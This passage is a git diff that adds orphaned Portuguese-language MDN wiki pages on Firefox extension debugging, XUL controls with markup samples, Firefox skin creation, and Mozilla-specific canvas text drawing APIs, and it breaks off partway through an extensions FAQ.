<strong>padrão</strong> do Firefox, você precisa reinstalá-lo pelo caminho da instalação customizada e escolher <strong>Ferramentas de Desenvolvedor</strong> se não houver um item "DOM Inspector" no menu de Ferramentas do seu navegador) para inspecionar a janela do navegador ou qualquer outra janela XUL que você precisar extendê-la.</p> +<p>Use o botão esquerdo do mouse para achar o nó no topo esquerdo da barra de ferramentas do DOM Inspector, clicando em um nó ele é selecionado e exibe o XUL na janela ao lado. Quando você faz isto a visão da árvore de hierarquia do DOM Inspector irá pular para o nó que você clicou.</p> +<p>Use o painel do lado direito do DOM Inspector para descobrir pontos de fusão com ids que você pode usar para inserir seus elementos de sobreposição. Se você não pode descobrir um elemento com um id que você pode fundir, você pode necessitar anexar um script em sua sobreposição e inserir seus elementos quando o evento <code>load</code> for exibido na janela mestre XUL.</p> +<h4 id="Depurando_extens.C3.B5es" name="Depurando_extens.C3.B5es">Depurando extensões</h4> +<p><strong>Ferramentas Analíticas para Depurar</strong></p> +<ul> + <li>O <a href="/en/DOM_Inspector" title="en/DOM_Inspector">DOM Inspector</a> — inspeciona atributos, estrutura DOM, regras no estilo CSS que estão em efeito (e.g. descubra porque suas regras de estilo não aparecem trabalhando por um elemento — uma ferramenta inestimável!)</li> + <li><a href="/en/Venkman" title="en/Venkman">Venkman</a> — configura pontos de parada em JavaScript e inspeciona pilhas de chamadas.</li> + <li><code><a href="/En/Core_JavaScript_1.5_Reference/Functions_and_function_scope/arguments/callee" title="En/Core_JavaScript_1.5_Reference/Functions_and_function_scope/arguments/callee">arguments.callee</a>.<a href="/en/Core_JavaScript_1.5_Reference/Global_Objects/Function/caller" title="en/Core_JavaScript_1.5_Reference/Global_Objects/Function/caller">caller</a></code> em JavaScript — acessa a função de pilhas de chamadas.</li> +</ul> +<p><strong>Depuração printf</strong></p> +<ul> + <li>Rode o Firefox com <code>-console</code> na linha de comando e use <code><a href="/en/DOM/window.dump" title="en/DOM/window.dump">dump</a>("string")</code> (veja o link para detalhes).</li> + <li>Use <code><a href="/en/nsIConsoleService" title="en/nsIConsoleService">en:nsIConsoleService</a></code> para logar ao console JavaScript.</li> +</ul> +<p><strong>Depuração avançada</strong></p> +<ul> + <li>Rode uma depuração do Firefox construída e configure pontos de parada no próprio Firefox ou em componentes C++. Para o desenvolvedor com experiência, este é freqüentemente a maneira mais rápida de diagnosticar o problema. Veja <a href="/En/Developer_Guide/Build_Instructions" title="En/Developer_Guide/Build_Instructions">Build Documentation</a> e <a href="/pt/Desenvolvimento_Mozilla" title="pt/Desenvolvimento_Mozilla">Desenvolvimento Mozilla</a> para mais informações.</li> + <li>Veja <a href="/en/Debugging_a_XULRunner_Application" title="en/Debugging_a_XULRunner_Application">Debugging a XULRunner Application</a> para mais tipos de ajuda.</li> +</ul> +<h3 id="Come.C3.A7o_r.C3.A1pido" name="Come.C3.A7o_r.C3.A1pido">Começo rápido</h3> +<p>Você pode usar a ferramenta online <a class="external" href="http://ted.mielczarek.org/code/mozilla/extensionwiz/">Extension Wizard</a> para gerar uma simples extensão para trabalhar junto.</p> +<p>Um <a class="external" href="http://mozilla.doslash.org/stuff/helloworld.zip">Hello World extension</a> similar ao que você pode gerar com o Extension Wizard é explicado linha por linha em <a class="external" href="http://kb.mozillazine.org/Getting_started_with_extension_development">outro tutorial do MozillaZine Knowledge Base</a>.</p> +<h3 id="Informa.C3.A7.C3.B5es_adicionais" name="Informa.C3.A7.C3.B5es_adicionais">Informações adicionais</h3> +<ul> + <li><a href="/pt/FAQ_Extensões" title="pt/FAQ_Extensões">FAQ Extensões</a></li> + <li><a href="/pt/Extensões" title="pt/Extensões">Extensões</a></li> +</ul> diff --git a/files/pt-pt/orphaned/controles_xul/index.html b/files/pt-pt/orphaned/controles_xul/index.html new file mode 100644 index 0000000000..f4d43f4228 --- /dev/null +++ b/files/pt-pt/orphaned/controles_xul/index.html @@ -0,0 +1,145 @@ +--- +title: Controles XUL +slug: Controles_XUL +tags: + - PrecisaDeRevisãoEditorial + - Todas_as_Categorias + - XUL +--- +<p>A tabela a seguir lista todas as interfaces providas pelo XUL. Veja o <a href="/pt/Tutorial_XUL" title="pt/Tutorial_XUL">Tutorial XUL</a> para um guia passo-a-passo de como elas são utilizadas e a <a href="/pt/Referência_XUL" title="pt/Referência_XUL">Referência XUL </a> para uma referência rápida.</p> +<table> <tbody> <tr> <td><strong><button></strong> <p>Um botão que pode ser pressionado pelo usuário.</p> <pre> +<button label="Save" accesskey="S"/> +</pre> <ul> <li><a href="/pt/XUL_Tutorial/Adicionando_Botões" title="pt/XUL_Tutorial/Adicionando_Botões">Mais informações sobre o elemento button</a>.</li> <li><a href="/pt/XUL/button" title="pt/XUL/button">Button Referência</a></li> </ul> </td> <td><img alt="Image:Controlsguide-button.png" class=" internal" src="/@api/deki/files/2532/=Controlsguide-button.png"></td> </tr> <tr> <td><strong><button type="menu"></strong> <p>A button that has a drop down menu attached to it. Pressing the button opens the menu.</p> <pre> +<button type="menu" label="View"> + <menupopup> + <menuitem label="List"/> + <menuitem label="Details"/> + </menupopup> +</button> +</pre> <ul> <li><a href="/pt/XUL_Tutorial/More_Button_Features#Button_with_menupopup" title="pt/XUL_Tutorial/More_Button_Features#Button_with_menupopup">More information about this type of menu button element</a>.</li> <li><a href="/pt/XUL/button" title="pt/XUL/button">Button Reference</a></li> <li>Related Elements: {{ XULElem("menupopup") }} {{ XULElem("menuitem") }}</li> </ul> </td> <td><img alt="Image:Controlsguide-button-menu.png"></td> </tr> <tr> <td><strong><button type="menu-button"></strong> <p>A button that that has a separate arrow button with a menu attached to it. Unlike with the 'menu' type, a separate action may be performed when the main part of the button is pressed.</p> <pre> +<button type="menu-button" label="New"> + <menupopup> + <menuitem label="New Document"/> + <menuitem label="New Image"/> + </menupopup> +</button> +</pre> <ul> <li><a href="/pt/XUL_Tutorial/More_Button_Features#Button_with_menupopup" title="pt/XUL_Tutorial/More_Button_Features#Button_with_menupopup">More information about this type of menu button element</a>.</li> <li><a href="/pt/XUL/button" title="pt/XUL/button">Button Reference</a></li> <li>Related Elements: {{ XULElem("menupopup") }} {{ XULElem("menuitem") }}</li> </ul> </td> <td><span class="comment">Image:Controlsguide-button-menubutton.png<br> </span></td> </tr> <tr> <td><strong><checkbox></strong> <p>A control that may be turned on and off, typically used to create options which may be enabled or disabled.</p> <pre> +<checkbox label="Show Toolbar Labels" checked="true"/> +</pre> <ul> <li><a href="/pt/XUL_Tutorial/Input_Controls#Checkboxes_and_Radio_Elements" title="pt/XUL_Tutorial/Input_Controls#Checkboxes_and_Radio_Elements">More information about the checkbox element</a>.</li> <li><a href="/pt/XUL/checkbox" title="pt/XUL/checkbox">Checkbox Reference</a></li> </ul> </td> <td><img alt="Image:Controlsguide-checkbox.png"></td> </tr> <tr> <td><strong><colorpicker></strong> <p>A control that may be used to select a color.</p> <pre> +<colorpicker color="#FF0000"/> +</pre> <ul> <li><a href="/pt/XUL/colorpicker" title="pt/XUL/colorpicker">Colorpicker Reference</a></li> </ul> </td> <td><span class="comment">Image:Controlsguide-colorpicker.png</span></td> </tr> <tr> <td><strong><colorpicker type="button"></strong> <p>A specialized type of color picker which shows only a button but when pressed, a popup will be displayed to select a color from.</p> <pre> +<colorpicker type="button" color="#CC0080"/> +</pre> <ul> <li><a href="/pt/XUL/colorpicker" title="pt/XUL/colorpicker">Colorpicker Reference</a></li> </ul> </td> <td><img alt="Image:Controlsguide-colorpicker-button.png"></td> </tr> <tr> <td><strong><datepicker></strong> <p><strong><span class="highlightred"><small>New in Mozilla 1.9 / Firefox 3</small></span></strong></p> <p>A set of textboxes which may be used to allow the entry of a date.</p> <pre> +<datepicker value="2007/03/26"/> +</pre> <ul> <li><a href="/pt/XUL/datepicker" title="pt/XUL/datepicker">Datepicker Reference</a></li> </ul> </td> <td><img alt="Image:Controlsguide-datepicker.png"></td> </tr> <tr> <td><strong><datepicker type="grid"></strong> <p><strong><span class="highlightred"><small>New in Mozilla 1.9 / Firefox 3</small></span></strong></p> <p>A datepicker which displays a calendar grid for selecting a date.</p> <pre> +<datepicker type="grid" value="2007/02/20"/> +</pre> <ul> <li><a href="/pt/XUL/datepicker" title="pt/XUL/datepicker">Datepicker Reference</a></li> </ul> </td> <td><img alt="Image:Controlsguide-datepicker-grid.png"></td> </tr> <tr> <td><strong><datepicker type="popup" ></strong> <p><strong><span class="highlightred"><small>New in Mozilla 1.9 / Firefox 3</small></span></strong></p> <p>A datepicker which displays a set of textboxes for date entry, but also has a button for displaying a popup calendar grid.</p> <pre> +<datepicker type="popup" value="2008/08/24"/> +</pre> <ul> <li><a href="/pt/XUL/datepicker" title="pt/XUL/datepicker">Datepicker Reference</a></li> </ul> </td> <td> </td> </tr> <tr> <td><strong><description></strong> <p>The description element is used to for descriptive text.</p> <pre> +<description> + Select a time for the event to start +</description> +</pre> <ul> <li><a href="/pt/XUL_Tutorial/Adding_Labels_and_Images#Description_Element" title="pt/XUL_Tutorial/Adding_Labels_and_Images#Description_Element">More information about the description element</a>.</li> <li><a href="/pt/XUL/description" title="pt/XUL/description">Description Reference</a></li> </ul> </td> <td><img alt="Image:Controlguide-description.png"></td> </tr> <tr> <td><strong><groupbox></strong> <p>A groupbox displays a labelled box around other user interface controls.</p> <pre> +<groupbox> + <caption label="Network"/> +</groupbox> +</pre> <ul> <li><a href="/pt/XUL_Tutorial/Groupboxes" title="pt/XUL_Tutorial/Groupboxes">More information about the groupbox element</a>.</li> <li><a href="/pt/XUL/groupbox" title="pt/XUL/groupbox">Groupbox Reference</a></li> <li>Related Elements: {{ XULElem("caption") }}</li> </ul> </td> <td><img alt="Image:Controlguide-groupbox.png"></td> </tr> <tr> <td><strong><image></strong> <p>An image specified by a URL.</p> <pre> +<image src="start.png"/> +</pre> <ul> <li><a href="/pt/XUL_Tutorial/Adding_Labels_and_Images#Images" title="pt/XUL_Tutorial/Adding_Labels_and_Images#Images">More information about the image element</a>.</li> <li><a href="/pt/XUL/image" title="pt/XUL/image">Image Reference</a></li> </ul> </td> <td><img alt="Image:Controlguide-image.png"></td> </tr> <tr> <td><strong><label></strong> <p>A label is used to create text which labels a nearby control.</p> <pre> +<label control="volume" value="Volume:"/> +</pre> <ul> <li><a href="/pt/XUL_Tutorial/Adding_Labels_and_Images#Label_Element" title="pt/XUL_Tutorial/Adding_Labels_and_Images#Label_Element">More information about the label element</a>.</li> <li><a href="/pt/XUL/label" title="pt/XUL/label">Label Reference</a></li> </ul> </td> <td><img alt="Image:Controlguide-label.png"></td> </tr> <tr> <td><strong><listbox></strong> <p>The listbox is used to select an item from a list of labelled items.</p> <pre> +<listbox> + <listitem label="Chocolate"/> + <listitem label="Jelly Beans"/> +</listbox> +</pre> <ul> <li><a href="/pt/XUL_Tutorial/List_Controls#List_Boxes" title="pt/XUL_Tutorial/List_Controls#List_Boxes">More information about the listbox element</a>.</li> <li><a href="/pt/XUL/listbox" title="pt/XUL/listbox">Listbox Reference</a></li> <li>Related Elements: {{ XULElem("listcell") }} {{ XULElem("listcols") }} {{ XULElem("listcol") }} {{ XULElem("listhead") }} {{ XULElem("listheader") }} {{ XULElem("listitem") }}</li> </ul> </td> <td><img alt="Image:Controlguide-listbox.png"></td> </tr> <tr> <td><strong><menulist></strong> <p>A menulist (or combobox) is used to create a control with a drop down to select a value.</p> <pre> +<menulist> + <menupopup> + <menulist label="Lions" value="l"/> + <menuitem label="Tigers" value="t"/> + <menuitem label="Bears" value="b"/> + </menupopup> +</menulist> +</pre> <ul> <li><a href="/pt/XUL_Tutorial/List_Controls#Drop-down_Lists" title="pt/XUL_Tutorial/List_Controls#Drop-down_Lists">More information about the menulist element</a>.</li> <li><a href="/pt/XUL/menulist" title="pt/XUL/menulist">Menulist Reference</a></li> <li>Related Elements: {{ XULElem("menupopup") }} {{ XULElem("menuitem") }}</li> </ul> </td> <td><img alt="Image:Controlguide-menulist.png"></td> </tr> <tr> <td><strong><menulist editable="true"></strong> <p>An editable menulist is like a standard menulist except that the selected value is displayed in a textbox where it may be modified directly or values not in the popup list may be entered.</p> <pre> +<menulist editable="true"> + <menupopup> + <menuitem label="Elephants" value="Elephants"/> + <menuitem label="Kangaroos" value="Kangaroos"/> + <menuitem label="Bats" value="Bats"/> + </menupopup> +</menulist> +</pre> <ul> <li><a href="/pt/XUL_Tutorial/List_Controls#Editable_menulist" title="pt/XUL_Tutorial/List_Controls#Editable_menulist">More information about the editable menulist element</a>.</li> <li><a href="/pt/XUL/menulist" title="pt/XUL/menulist">Menulist Reference</a></li> <li>Related Elements: {{ XULElem("menupopup") }} {{ XULElem("menuitem") }}</li> </ul> </td> <td><img alt="Image:Controlguide-menulist-editable.png"></td> </tr> <tr> <td><strong><progressmeter></strong> <p>A progress meter is used to display the progress of a lengthy task.</p> <pre> +<progressmeter value="40"/> +</pre> <ul> <li><a href="/pt/XUL_Tutorial/Progress_Meters" title="pt/XUL_Tutorial/Progress_Meters">More information about the progressmeter element</a>.</li> <li><a href="/pt/XUL/progressmeter" title="pt/XUL/progressmeter">Progressmeter Reference</a></li> </ul> </td> <td><img alt="Image:Controlguide-progressmeter.png"></td> </tr> <tr> <td><strong><radio></strong> <p>A radio button is used when only one of a set of options may be selected at a time.</p> <pre> +<radiogroup> + <radio label="Light" value="light"/> + <radio label="Heavy" value="heavy"/> +</radiogroup> +</pre> <ul> <li><a href="/pt/XUL_Tutorial/Input_Controls#Checkboxes_and_Radio_Buttons" title="pt/XUL_Tutorial/Input_Controls#Checkboxes_and_Radio_Buttons">More information about the radio element</a>.</li> <li><a href="/pt/XUL/radio" title="pt/XUL/radio">Radio Reference</a></li> <li>Related Elements: {{ XULElem("radiogroup") }}</li> </ul> </td> <td><img alt="Image:Controlguide-radio.png"></td> </tr> <tr> <td><strong><richlistbox></strong> <p>The richlistbox displays a list of items where one or more may selected. Unlike the listbox which is designed to display only text, the richlistbox may display any type of content.</p> <pre> +<richlistbox> + <richlistitem> + <image src="happy.png"/> + </richlistitem> + <richlistitem> + <image src="sad.png"/> + </richlistitem> + <richlistitem> + <image src="angry.png"/> + </richlistitem> +</richlistbox> +</pre> <ul> <li><a href="/pt/XUL/richlistbox" title="pt/XUL/richlistbox">Richlistbox Reference</a></li> <li>Related Elements: {{ XULElem("richlistitem") }}</li> </ul> </td> <td><img alt="Image:Controlguide-richlistbox.png"></td> </tr> <tr> <td><strong><scale></strong> <p><strong><span class="highlightred"><small>New in Mozilla 1.9 / Firefox 3</small></span></strong></p> <p>A scale displays a bar with a thumb that may be slid across the bar to select between a range of values.</p> <pre> +<scale min="1" max="10"/> +</pre> <ul> <li><a href="/pt/XUL/scale" title="pt/XUL/scale">Scale Reference</a></li> </ul> </td> <td><img alt="Image:Controlguide-scale.png"></td> </tr> <tr> <td><strong><textbox></strong> <p>A textbox which allows a single line of text to be entered.</p> <pre> +<textbox value="firefox"/> +</pre> <ul> <li><a href="/pt/XUL_Tutorial/Input_Controls#Text_Entry_Fields" title="pt/XUL_Tutorial/Input_Controls#Text_Entry_Fields">More information about the textbox element</a>.</li> <li><a href="/pt/XUL/textbox" title="pt/XUL/textbox">Textbox Reference</a></li> </ul> </td> <td><img alt="Image:Controlguide-textbox.png"></td> </tr> <tr> <td><strong><textbox multiline="true"></strong> <p>A textbox which allows multiple lines of text to be entered.</p> <pre> +<textbox multiline="true"/> +</pre> <ul> <li><a href="/pt/XUL_Tutorial/Input_Controls#Multiline_textbox" title="pt/XUL_Tutorial/Input_Controls#Multiline_textbox">More information about the multiple line textbox element</a>.</li> <li><a href="/pt/XUL/textbox" title="pt/XUL/textbox">Textbox Reference</a></li> </ul> </td> <td><img alt="Image:Controlguide-textbox-multiline.png"></td> </tr> <tr> <td><strong><textbox type="autocomplete"></strong> <p>A textbox which provides a dropdown showing matches that would complete what the user types. The user can select one to have it filled into the textbox.</p> <pre> +<textbox type="autocomplete" autocompletesearch="history"/> +</pre> <ul> <li><a href="/pt/XUL/textbox" title="pt/XUL/textbox">Textbox Reference</a></li> </ul> </td> <td> </td> </tr> <tr> <td><strong><textbox type="number"></strong> <p><strong><span class="highlightred"><small>New in Mozilla 1.9 / Firefox 3</small></span></strong></p> <p>A textbox for entering numbers. Two arrow buttons are displayed for cycling through values.</p> <pre> +<textbox type="number" min="1" max="20"/> +</pre> <ul> <li><a href="/pt/XUL/textbox" title="pt/XUL/textbox">Textbox Reference</a></li> </ul> </td> <td><img alt="Image:Controlguide-textbox-number.png"></td> </tr> <tr> <td><strong><textbox type="password"></strong> <p>A textbox that hides the characters typed, used for entering passwords.</p> <pre> +<textbox type="password"/> +</pre> <ul> <li><a href="/pt/XUL/textbox" title="pt/XUL/textbox">Textbox Reference</a></li> </ul> </td> <td><img alt="Image:Controlguide-textbox-password.png"></td> </tr> <tr> <td><strong><timepicker></strong> <p><strong><span class="highlightred"><small>New in Mozilla 1.9 / Firefox 3</small></span></strong></p> <p>A timepicker displays a set of textboxes for entering a time.</p> <pre> +<timepicker value="12:05"/> +</pre> <ul> <li><a href="/pt/XUL/timepicker" title="pt/XUL/timepicker">Timepicker Reference</a></li> </ul> </td> <td><img alt="Image:Controlguide-timepicker.png"></td> </tr> <tr> <td><strong><toolbarbutton></strong> <p>A button that is displayed on a toolbar.</p> <pre> +<toolbarbutton label="Reload"/> +</pre> <ul> <li><a href="/pt/XUL_Tutorial/Toolbars" title="pt/XUL_Tutorial/Toolbars">More information about the toolbarbutton element</a>.</li> <li><a href="/pt/XUL/toolbarbutton" title="pt/XUL/toolbarbutton">Toolbarbutton Reference</a></li> <li>Related Elements: {{ XULElem("toolbar") }}</li> </ul> </td> <td><img alt="Image:Controlguide-toolbarbutton.png"></td> </tr> <tr> <td><strong><toolbarbutton type="menu"></strong> <p>A button that is displayed on a toolbar with a drop down menu attached to it.</p> <pre> +<toolbarbutton type="menu" label="Show"> + <menupopup> + <menuitem label="Toolbars"/> + <menuitem label="Status Bar"/> + </menupopup> +</toolbarbutton> +</pre> <ul> <li><a href="/pt/XUL_Tutorial/Toolbars" title="pt/XUL_Tutorial/Toolbars">More information about this type of menu toolbarbutton element</a>.</li> <li><a href="/pt/XUL/toolbarbutton" title="pt/XUL/toolbarbutton">Toolbarbutton Reference</a></li> <li>Related Elements: {{ XULElem("menupopup") }} {{ XULElem("menuitem") }} {{ XULElem("toolbar") }}</li> </ul> </td> <td> </td> </tr> <tr> <td><strong><toolbarbutton type="menu-button"></strong> <p>A button on a toolbar that that has a separate arrow button with a menu attached to it. Unlike with the 'menu' type, a separate action may be performed when the main part of the button is pressed.</p> <pre> +<toolbarbutton type="menu-button" label="Open"> + <menupopup> + <menuitem label="Open Changed Files"/> + <menuitem label="Open All"/> + </menupopup> +</toolbarbutton> +</pre> <ul> <li><a href="/pt/XUL_Tutorial/Toolbars" title="pt/XUL_Tutorial/Toolbars">More information about this type of menu toolbarbutton element</a>.</li> <li><a href="/pt/XUL/toolbarbutton" title="pt/XUL/toolbarbutton">Toolbarbutton Reference</a></li> <li>Related Elements: {{ XULElem("menupopup") }} {{ XULElem("menuitem") }} {{ XULElem("toolbar") }}</li> </ul> </td> <td> </td> </tr> <tr> <td><strong><tree></strong> <p>A tree displays a hierarchy of items in multiple columns.</p> <pre> +<tree> + <treecols> + <treecol label="Name" flex="1"/> + <treecol label="Size" flex="1"/> + </treecols> + <treechildren> + <treeitem> + <treerow> + <treecell label="Popcorn"/> + <treecell label="Large"/> + </treerow> + </treeitem> + <treeitem> + <treerow> + <treecell label="Root Beer"/> + <treecell label="Small"/> + </treerow> + </treeitem> + </treechildren> +</tree> +</pre> <ul> <li><a href="/pt/XUL_Tutorial/Trees" title="pt/XUL_Tutorial/Trees">More information about the tree element</a>.</li> <li><a href="/pt/XUL/tree" title="pt/XUL/tree">Tree Reference</a></li> <li>Related Elements: {{ XULElem("treecell") }} {{ XULElem("treechildren") }} {{ XULElem("treecol") }} {{ XULElem("treecols") }} {{ XULElem("treeitem") }} {{ XULElem("treerow") }}</li> </ul> </td> <td><img alt="Image:Controlguide-tree.png"></td> </tr> </tbody> +</table> +<p><span class="comment">Categorias</span></p> +<p><span class="comment">Interwiki Language Links</span></p> +<p>{{ languages( { "en": "en/XUL_controls" } ) }}</p> diff --git a/files/pt-pt/orphaned/criando_um_visual_para_o_firefox/index.html b/files/pt-pt/orphaned/criando_um_visual_para_o_firefox/index.html new file mode 100644 index 0000000000..763cd620c4 --- /dev/null +++ b/files/pt-pt/orphaned/criando_um_visual_para_o_firefox/index.html @@ -0,0 +1,34 @@ +--- +title: Criando um visual para o Firefox +slug: Criando_um_visual_para_o_Firefox +tags: + - Temas + - Todas_as_Categorias +--- +<p> </p> + +<h3 id="Introdu.C3.A7.C3.A3o" name="Introdu.C3.A7.C3.A3o">Introdução</h3> + +<p>Para poder criar um visual para o Firefox, são três coisas que você precisa saber fazer: como editar imagens, como extrair arquivos zip e como modificar CSS. O Firefox utiliza imagens nos formatos GIF, PNG e JPEG para os botões, e CSS para estilizar todo o restante na interface.</p> + +<p><strong>O que é um visual?</strong></p> + +<p>Um visual não altera totalmente a interface; em parte, somente define seu aspecto. Você não pode alterar o que acontece quando o usuário clica com o botão direito sobre uma imagem, mas pode alterar a aparência do menu de contexto (Torná-lo azul com pontos cor-de-rosa, por exemplo). Se quer alterar a funcionalidade do Firefox, você terá que ver sobre como modificar o chrome, que está além do contido deste documento. <strong>--<a>Milona87</a> 19:12, 18 Fevereiro 2008 (PST)Texto a negrito--<a>Milona87</a> 19:12, 18 Fevereiro 2008 (PST)</strong></p> + +<h3 id="Conte.C3.BAdos" name="Conte.C3.BAdos">Conteúdos</h3> + +<ul> + <li><a href="pt/Criando_um_visual_para_o_Firefox/Iniciando">Iniciando</a></li> +</ul> + +<hr> +<div class="originaldocinfo"> +<h3 id="Informa.C3.A7.C3.A3o_sobre_o_Documento_Original" name="Informa.C3.A7.C3.A3o_sobre_o_Documento_Original">Informação sobre o Documento Original</h3> + +<ul> + <li>Os documentos originais estão relacionados por completo na versão em inglês deste artigo</li> + <li>O artigo já previamente traduzido para o português de Portugal foi utilizado como base</li> +</ul> +</div> + +<p> </p> diff --git a/files/pt-pt/orphaned/criar_uma_pele_para_o_firefox/index.html b/files/pt-pt/orphaned/criar_uma_pele_para_o_firefox/index.html new file mode 100644 index 0000000000..b0d04c3424 --- /dev/null +++ b/files/pt-pt/orphaned/criar_uma_pele_para_o_firefox/index.html @@ -0,0 +1,14 @@ +--- +title: Criar uma pele para o Firefox +slug: Criar_uma_pele_para_o_Firefox +tags: + - Temas + - Todas_as_Categorias +--- +<p> +</p> +<h3 id="Introdu.C3.A7.C3.A3o"> Introdução </h3> +<p>Para criar um tema para o Firefox, você precisa saber fazer três coisas: editar imagens, extrair arquivos zip e modificar CSS. O Firefox utiliza imagens em formato GIF, PNG e JPEG para os botões, e CSS para estilizar todo o restante da interface. +</p><p><b>O que é um Tema?</b> +</p><p>Um tema não altera totalmente a interface, apenas redefine sua aparência. Você não pode alterar o que acontece quando o usuário clica com o botão direito do mouse sobre uma imagem, mas pode alterar a aparência do menu de contexto (torná-lo azul com pontos cor-de-rosa, por exemplo). Se quiser mudar a funcionalidade do Firefox, você deve estudar como modificar o chrome, que está além do escopo deste documento. +</p>{{ languages( { "en": "en/Creating_a_Skin_for_Firefox" } ) }} diff --git a/files/pt-pt/orphaned/desenhando_texto_usando_canvas/index.html b/files/pt-pt/orphaned/desenhando_texto_usando_canvas/index.html new file mode 100644 index 0000000000..314ff20178 --- /dev/null +++ b/files/pt-pt/orphaned/desenhando_texto_usando_canvas/index.html @@ -0,0 +1,57 @@ +--- +title: Desenhando texto usando canvas +slug: Desenhando_texto_usando_canvas +tags: + - 'HTML:Canvas' + - PrecisaDeConteúdo +--- +<p>{{ Gecko_minversion_header("1.9") }} O elemento <code><a href="/pt/HTML/Canvas" title="pt/HTML/Canvas"><canvas></a></code> dá suporte a desenho de texto através da API experimental Mozilla-specific.</p> +<h3 id="API" name="API">API</h3> +<pre class="eval">attribute DOMString mozTextStyle; +void mozDrawText(in DOMString textToDraw); +float mozMeasureText(in DOMString textToMeasure); +void mozPathText(in DOMString textToPath); +void mozTextAlongPath(in DOMString textToDraw, in boolean stroke); +</pre> +<h3 id="Notes" name="Notes">Notas</h3> +<ul> + <li>A fonte <em>default</em> é 12pt sans-serif.</li> + <li>Estas extensões de ainda não foram padronizadas pelo WHATWG.</li> + <li>You do not need a special context to use these; the 2D context works just fine.</li> + <li>All drawing is done using the current transform.</li> + <li>See {{ Bug(339553) }} if you'd like to read up on the implementation specifics.</li> +</ul> +<h3 id="Demonstrations" name="Demonstrations">Demonstrações</h3> +<p>Veja alguns exemplos <a class="link-https" href="https://bugzilla.mozilla.org/attachment.cgi?id=273497">here</a>, <a class="link-https" href="https://bugzilla.mozilla.org/attachment.cgi?id=273498">here</a>, and <a class="link-https" href="https://bugzilla.mozilla.org/attachment.cgi?id=273499">here</a>.</p> +<h3 id="Changing_the_current_font" name="Changing_the_current_font">Alterando a fonte corrente</h3> +<p>The <code>mozTextStyle</code> attribute reflects the current text style. It uses the same syntax as the <a href="/pt/CSS/font" title="pt/CSS/font">CSS font</a> specifier.</p> +<p>Ex:</p> +<pre class="eval">ctx.mozTextStyle = "20pt Arial" +</pre> +<h3 id="Drawing_text" name="Drawing_text">Desenhando o texto</h3> +<p>Drawing is very simple. <code>mozDrawText</code> uses whatever the current text style is. The context's fill color is used as the text color.</p> +<pre class="eval">ctx.translate(10, 50); +ctx.fillStyle = "Red"; +ctx.mozDrawText("Sample String"); +</pre> +<h3 id="Measuring_text" name="Measuring_text">Medindo o texto</h3> +<p>As vezes é de grande valia saber a largura de um bit de texto em particular (para centralizá-lo em uma janela).</p> +<pre class="eval">var text = "Sample String"; +var width = ctx.canvas.width; +var len = ctx.mozMeasureText(text); +ctx.translate(len/2, 0); +ctx.mozDrawText(text); +</pre> +<h3 id="Text.2Fpath_interaction" name="Text.2Fpath_interaction">Text/path interaction</h3> +<p>If you want to stroke text, <code>mozDrawText</code> doesn't let you. However, <code>mozPathText</code> adds the strokes from the text to the current path.</p> +<pre class="eval">ctx.fillStyle = "green"; +ctx.strokeStyle = "black"; +ctx.mozPathText("Sample String"); +ctx.fill() +ctx.stroke() +</pre> +<p>Now say you have a path that you want to add text along (say a curved line or something); this is where <code>mozTextAlongPath</code> comes in. Unlike the other text functions, <code>mozTextAlongPath</code> takes two arguments: the text and what to do with it. <code>mozTextAlongPath</code> approximates the current path as a series of line segments and places each glyph along that flattened path. The glyphs are not scaled or transformed according to the curvature of their baseline; they take on the orientation of the flattened path at the midpoint of the glyph.</p> +<p>Once <code>mozTextAlongPath</code> knows where the glyphs are, it looks at the second parameter to decide what to do with them. If the second parameter is <code>false</code>, then it will draw the glyphs just like <code>mozDrawText</code> does. If it is <code>true</code>, then it will add the glyphs to the current path, just like <code>mozPathText</code> does. This can be used to create some unique effects.</p> +<p><span class="comment">Categorias</span></p> +<p><span class="comment">Interwiki Language Links</span></p> +<p>{{ languages( { "en": "en/Drawing_text_using_a_canvas", "es": "es/Dibujar_texto_usando_canvas", "fr": "fr/Dessin_de_texte_avec_canvas", "ja": "ja/Drawing_text_using_a_canvas" } ) }}</p> diff --git a/files/pt-pt/orphaned/faq_extensões/index.html b/files/pt-pt/orphaned/faq_extensões/index.html new file mode 100644 index 0000000000..df98304739 --- /dev/null +++ b/files/pt-pt/orphaned/faq_extensões/index.html @@ -0,0 +1,51 @@ +--- +title: FAQ Extensões +slug: FAQ_Extensões +tags: + - Extensões +--- +<p>Esse é um guia rápido de respostas para as perguntas mais frequentes sobre o desenvolvimento de <a href="/pt/Extensões" title="pt/Extensões">Extensões</a>.</p> +<p>Elas são escritas focadas mais no Firefox, mas a maioria é fácil de ser transferida para o SeaMonkey, Thunderbird ou qualquer desses outros aplicativos.</p> +<p>Se você está procurando um lugar para começar, tente nosso tutorial, <a href="/pt/Construir_uma_Extensão" title="pt/Construir_uma_Extensão">Construir uma Extensão</a> ou</p> +<p><a class="external" href="http://kb.mozillazine.org/Getting_started_with_extension_development">MozillaZine's Getting started tutorial</a>. Use o <a class="external" href="http://ted.mielczarek.org/code/mozilla/extensionwiz/">Extension Wizard</a> para gerar um template para começar nele.</p> +<p>Tenha certeza de <a class="external" href="http://developer.mozilla.org/en/docs/Setting_up_extension_development_environment">Setting up extension development environment</a>.</p> +<h3 id="Depurando">Depurando</h3> +<p>Você deve <a class="external" href="http://developer.mozilla.org/en/docs/Setting_up_extension_development_environment">set development preferences</a> antes de partir para depurar sua extensão.</p> +<p>O depurador em JavaScript <a href="/pt/Venkman" title="pt/Venkman">Venkman</a> pode ser viável em casos complexos, mas lembre-se de desligar a opção "Debug -> Exclude Browser Files" enquanto está trabalhando no código da extensão.</p> +<h4 id="Como_eu_posso_ver_os_erros_no_meu_c.C3.B3digo.3F">Como eu posso ver os erros no meu código?</h4> +<p>Depois de <a class="external" href="http://developer.mozilla.org/en/docs/Setting_up_extension_development_environment">set development preferences</a> <strong>javascript.options.showInConsole</strong> para <strong>true</strong>, os erros serão mostrados no Console JavaScript. Note que apesar de seu nome todos os erros são mostrados lá.</p> +<h4 id="Como_eu_posso_mostrar_o_que_minha_extens.C3.A3o_est.C3.A1_fazendo.3F">Como eu posso mostrar o que minha extensão está fazendo?</h4> +<p>Você pode usar o <code><a href="/pt/DOM/window.alert" title="pt/DOM/window.alert">alert()</a></code>, <code><a href="/pt/DOM/window.dump" title="pt/DOM/window.dump">dump()</a></code>, <code><a href="/pt/Components.utils.reportError" title="pt/Components.utils.reportError">Components.utils.reportError()</a></code>, ou até <a href="/pt/NsIConsoleService" title="pt/NsIConsoleService">the console service</a> para mostrar dados variáveis e o texto da depuração.</p> +<h4 